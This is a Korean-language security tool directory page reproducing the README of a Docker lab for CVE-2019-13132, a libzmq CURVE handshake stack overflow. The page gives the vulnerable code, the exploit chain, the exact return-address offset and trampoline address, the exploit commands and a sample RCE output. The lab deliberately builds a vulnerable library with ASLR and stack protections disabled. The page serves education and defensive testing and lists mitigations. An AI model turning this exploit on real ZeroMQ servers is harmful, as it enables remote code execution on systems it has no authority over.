Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2019-13132-lab — CVE-2019-13132 — libzmq CURVE INITIATE 스택 오버플로 → RCE. 동작하는 익스플로잇 + 도커 랩. | Kitploit
도구/GitHubGitHub/dinosn/cve-2019-13132-lab
Vulnerability AnalysisExploitationReverse EngineeringFuzzingLearning & EducationPayload DevelopmentBinary ExploitationLabs & Practice
GitHubdinosn/cve-2019-13132-lab

cve-2019-13132-lab

CVE-2019-13132 — libzmq CURVE INITIATE 스택 오버플로 → RCE. 동작하는 익스플로잇 + 도커 랩.

저장소 보기
24개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-13132 — libzmq CURVE INITIATE 스택 오버플로 → RCE 실습 환경

CVE CVSS Affected License

CVE-2019-13132에 대한 완전한 RCE 익스플로잇 + 재현 가능한 실습 환경입니다. 이는 libzmq의 CURVE INITIATE 핸드셰이크 핸들러의 스택 버퍼 오버플로 취약점입니다. 공격자가 서버의 장기 공개 키(설계상 공개 매개변수)를 알고 있으면 process_initiate()의 고정 크기 스택 버퍼를 오버플로하여 저장된 반환 주소를 덮어쓰고 실행 흐름을 임의 코드로 리디렉션할 수 있습니다.

Nicolas Krassas (@dinosn) 작성.

실습 전용입니다. 이 키트는 의도적으로 취약하게 만든 libzmq 4.3.0을 완화 조치를 비활성화한 채로 제공합니다. 실습 환경 외부로 포트 5556을 노출하지 마십시오. 이 버그는 libzmq 4.3.2에서 수정되었습니다.


빠른 시작

root@kitploit:~
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
           -p 5556:5556 cve-2019-13132-lab

# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132

자동화된 스모크 테스트 (익스플로잇 실행 + 증명 파일 확인):

root@kitploit:~
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh

저장소 구성

root@kitploit:~
.
├── README.md           # 이 파일
├── Dockerfile          # 단일 명령 컨테이너화 실습
├── server-curve.c      # CURVE REP 리스너 — 취약 대상
├── exploit.py          # 전체 익스플로잇 (HELLO → WELCOME → 대형 INITIATE)
├── compute_offsets.py  # 빌드 시 오프셋 추출 → build_offsets.json
├── calibrate.sh        # 런타임 보정 → profile.json
├── start_server.sh     # 대상 서버 시작/재시작
├── run_lab_test.sh     # 자동화된 종단 간 스모크 테스트
└── entrypoint.sh       # Docker 진입점 (ASLR 해제 + 서버 + 보정)

취약점

src/curve_server.cpp:284-336 (libzmq 4.3.0):

root@kitploit:~
if (size < 257) {                   // only a MINIMUM check; no upper bound
    errno = EPROTO; return -1;
}

const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;

uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256];  // 416 bytes fixed

memcpy (initiate_box + crypto_box_BOXZEROBYTES,             // dest: stack buf + 16
        initiate + 113,                                     // src:  attacker data
        clen - crypto_box_BOXZEROBYTES);                    // len:  size - 113

initiate_box는 416바이트 스택 할당 버퍼입니다. memcpy는 size - 113 바이트를 400바이트 페이로드 영역(오프셋 16..415)에 씁니다. size > 513인 INITIATE는 버퍼를 넘어 저장된 호출 수신 레지스터와 반환 주소를 오버플로합니다.

쿠키 검증은 오버플로 이전에 이루어지므로 INITIATE는 진짜 쿠키를 포함해야 합니다. 하지만 쿠키는 서버의 장기 공개 키만을 사용하여 이전 WELCOME 메시지에서 얻어집니다.


익스플로잇 체인

1. CURVE 핸드셰이크 (공개 키만 필요함)

CURVE 프로토콜은 클라이언트가 이미 서버의 장기 공개 키를 가지고 있도록 설계되었습니다 (연결 URI 또는 구성에 포함됨). 익스플로잇:

  1. 새로운 임시 키 쌍(C', c')을 생성합니다.
  2. 유효한 HELLO를 전송합니다 — 서버는 C' + 자신의 비밀 키를 사용하여 이를 복호화합니다.
  3. WELCOME을 수신합니다 — C' + 서버의 공개 키를 사용하여 복호화합니다.
  4. WELCOME에서 쿠키를 추출합니다.
  5. 진짜 쿠키와 과도하게 큰 페이로드를 포함한 INITIATE를 전송합니다.
  6. 쿠키가 검증되고 취약한 memcpy가 실행됩니다.

애플리케이션 수준 자격 증명은 필요하지 않습니다. ZAP 인증 우회도 없습니다. 오버플로는 애플리케이션이 피어를 확인하기 전인 CURVE 키 교환 중에 발생합니다.

2. 스택 오버플로 → 반환 주소 덮어쓰기

root@kitploit:~
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):

    prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
              sub $0x628, %rsp

    RSP + 0x490  ← memcpy destination (initiate_box + 16)
    RSP + 0x628  ← saved rbx
    RSP + 0x630  ← saved rbp
    RSP + 0x638  ← saved r12
    RSP + 0x640  ← saved r13
    RSP + 0x648  ← saved r14
    RSP + 0x650  ← saved r15
    RSP + 0x658  ← RETURN ADDRESS       offset = 0x658 - 0x490 = 456 bytes

익스플로잇은 464바이트의 페이로드를 전송합니다: 456바이트의 채우기(0x41)로 반환 주소에 도달한 후, lab_trampoline()의 주소를 포함하는 8바이트를 보냅니다.

3. 오류 경로 → 에필로그 → ret → 트램펄린

오버플로 후 crypto_box_open()이 실패합니다 (오버플로된 데이터는 쓰레기 암호문입니다). 오류 경로는 실패를 기록하고 errno를 설정한 후 -1을 반환합니다. 하지만 오류 경로는 오버플로 영역 아래의 스택 위치(RSP+0xe0, RSP+0xf0, RSP+0x280)에만 접근하므로 손상된 스택에서도 문제없이 실행됩니다.

함수 에필로그(add $0x628,%rsp; pop rbx-r15; ret)는 손상된 저장 레지스터(현재 0x4141414141414141)를 팝하고, ret가 트램펄린 주소를 로드합니다.

4. 코드 실행

root@kitploit:~
void lab_trampoline(void) {
    int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
    syscall(SYS_write, fd, banner, ...);
    // reads /proc/self/status (shows uid, pid, capabilities)
    // reads /etc/hostname
    syscall(SYS_exit_group, 0);
}

system() / fork() 대신 원시 시스템 콜을 사용하는 이유는 process_initiate()가 libzmq의 I/O 스레드에서 실행되기 때문입니다. 다중 스레드 프로세스에서 메인이 아닌 스레드에서 fork()를 호출하면 glibc의 pthread_atfork 잠금 핸들러에서 교착 상태가 발생합니다.

공개 키만 필요한 이유

서버의 장기 공개 키는 CurveZMQ 프로토콜의 공개 매개변수입니다 — 클라이언트는 연결을 위해 이를 반드시 가지고 있어야 합니다. 일반적으로 구성 파일, URI 또는 검색 메커니즘을 통해 배포됩니다. 익스플로잇에는 비밀 자료가 필요하지 않습니다.


오프셋 해결

익스플로잇에는 두 가지 값이 필요합니다:

필드값출처
trampoline_addr0x401206nm server-curve (비-PIE 바이너리, 고정 주소)
offset_to_ret456process_initiate 디스어셈블리 (0x658 - 0x490)

두 값 모두 exploit.py에서 Docker 실습 빌드(Debian 12, gcc 12, libzmq 4.3.0)의 기본값으로 하드코딩되어 있습니다. 보정 단계는 필요하지 않으며 익스플로잇을 실행하기만 하면 됩니다:

root@kitploit:~
python3 exploit.py                                          # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json   # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456       # manual override

해결 우선순위: --trampoline/--offset 플래그 → --profile 파일 → /opt/zmq-curve-rce/profile.json → 기본값.

런타임 핑거프린팅이 없는 이유?

ZMTP에는 인트로스펙션 API가 없습니다. 인사 메시지는 프로토콜 버전(3.x)과 메커니즘(CURVE)만 알려줄 뿐 libzmq 빌드, 컴파일러 또는 바이너리 레이아웃에 대한 정보는 없습니다. 알 수 없는 대상을 상대로 자동 오프셋 선택을 허용하는 런타임 접근 가능 빌드 식별자는 존재하지 않습니다.

calibrate.sh / compute_offsets.py 스크립트는 트램펄린 주소가 변경될 수 있는 다른 배포판이나 gcc 버전에서의 재빌드를 위해 제공됩니다. Docker 실습 내에서 자동으로 실행되지만 필요하지는 않습니다.


샘플 출력

root@kitploit:~
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target:         127.0.0.1:5556
[*] trampoline    @ 0x0000000000401206
[*] offset to ret:  456 bytes

[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() → ret → trampoline → system()
[*] done — check /tmp/pwned-13132 on target

--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name:   server-curve
...
Uid:    0       0       0       0
...
hostname: caa76cbbc4a4
--- end ---

[PASS] RCE confirmed — /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab — RCE chain verified end-to-end.

완화 조치

방어 기법효과
libzmq >= 4.3.2로 업그레이드수정됨. memcpy 전에 INITIATE 크기에 상한 검사를 추가함.
스택 카나리 (-fstack-protector)함수가 반환되기 전에 오버플로를 감지합니다. 카나리는 지역 변수와 저장된 레지스터 사이에 위치하며, 오버플로가 이를 손상시켜 __stack_chk_fail을 트리거합니다.
ASLR공유 라이브러리 및 스택 주소를 무작위화합니다. 트램펄린은 비-PIE 바이너리(고정 주소)에 있지만, 프로덕션 서버는 PIE일 것이므로 정보 유출이 필요합니다.
PIE서버 바이너리의 로드 주소를 무작위화합니다. 트램펄린 주소는 유출 없이는 예측할 수 없게 됩니다.
NX여기서는 관련 없음 — 셸코드가 주입되지 않으며, 익스플로잇은 기존 코드를 호출합니다.
ZAP / 애플리케이션 수준 인증도움이 되지 않음 — 오버플로는 ZAP이 조회되기 전인 CURVE 키 교환 중에 발생합니다.

정리

root@kitploit:~
docker rm -f <container>
# or inside the container:
pkill -9 -x server-curve
rm -f /tmp/pwned-13132
sysctl -w kernel.randomize_va_space=2   # restore ASLR

참고 자료

  • NVD CVE-2019-13132
  • libzmq 4.3.2 릴리스 노트 — 수정 사항
  • CurveZMQ 스펙 (ZMQ RFC 26) — CURVE 핸드셰이크 프로토콜
  • ZMTP 3.1 (ZMQ RFC 37) — ZeroMQ 메시지 전송 프로토콜

작성자

Nicolas Krassas — @dinosn

라이선스

MIT. 의도적으로 취약하게 만든 libzmq 4.3.0 소스는 빌드 시 상위 저장소(LGPLv3-with-exceptions / MPLv2)에서 가져옵니다.

면책 조항

방어적 보안 연구, 교육 및 승인된 보안 테스트 전용입니다. 번들된 취약 빌드를 격리된 실습 환경 외부에 배포하지 마십시오.

도구 다운로드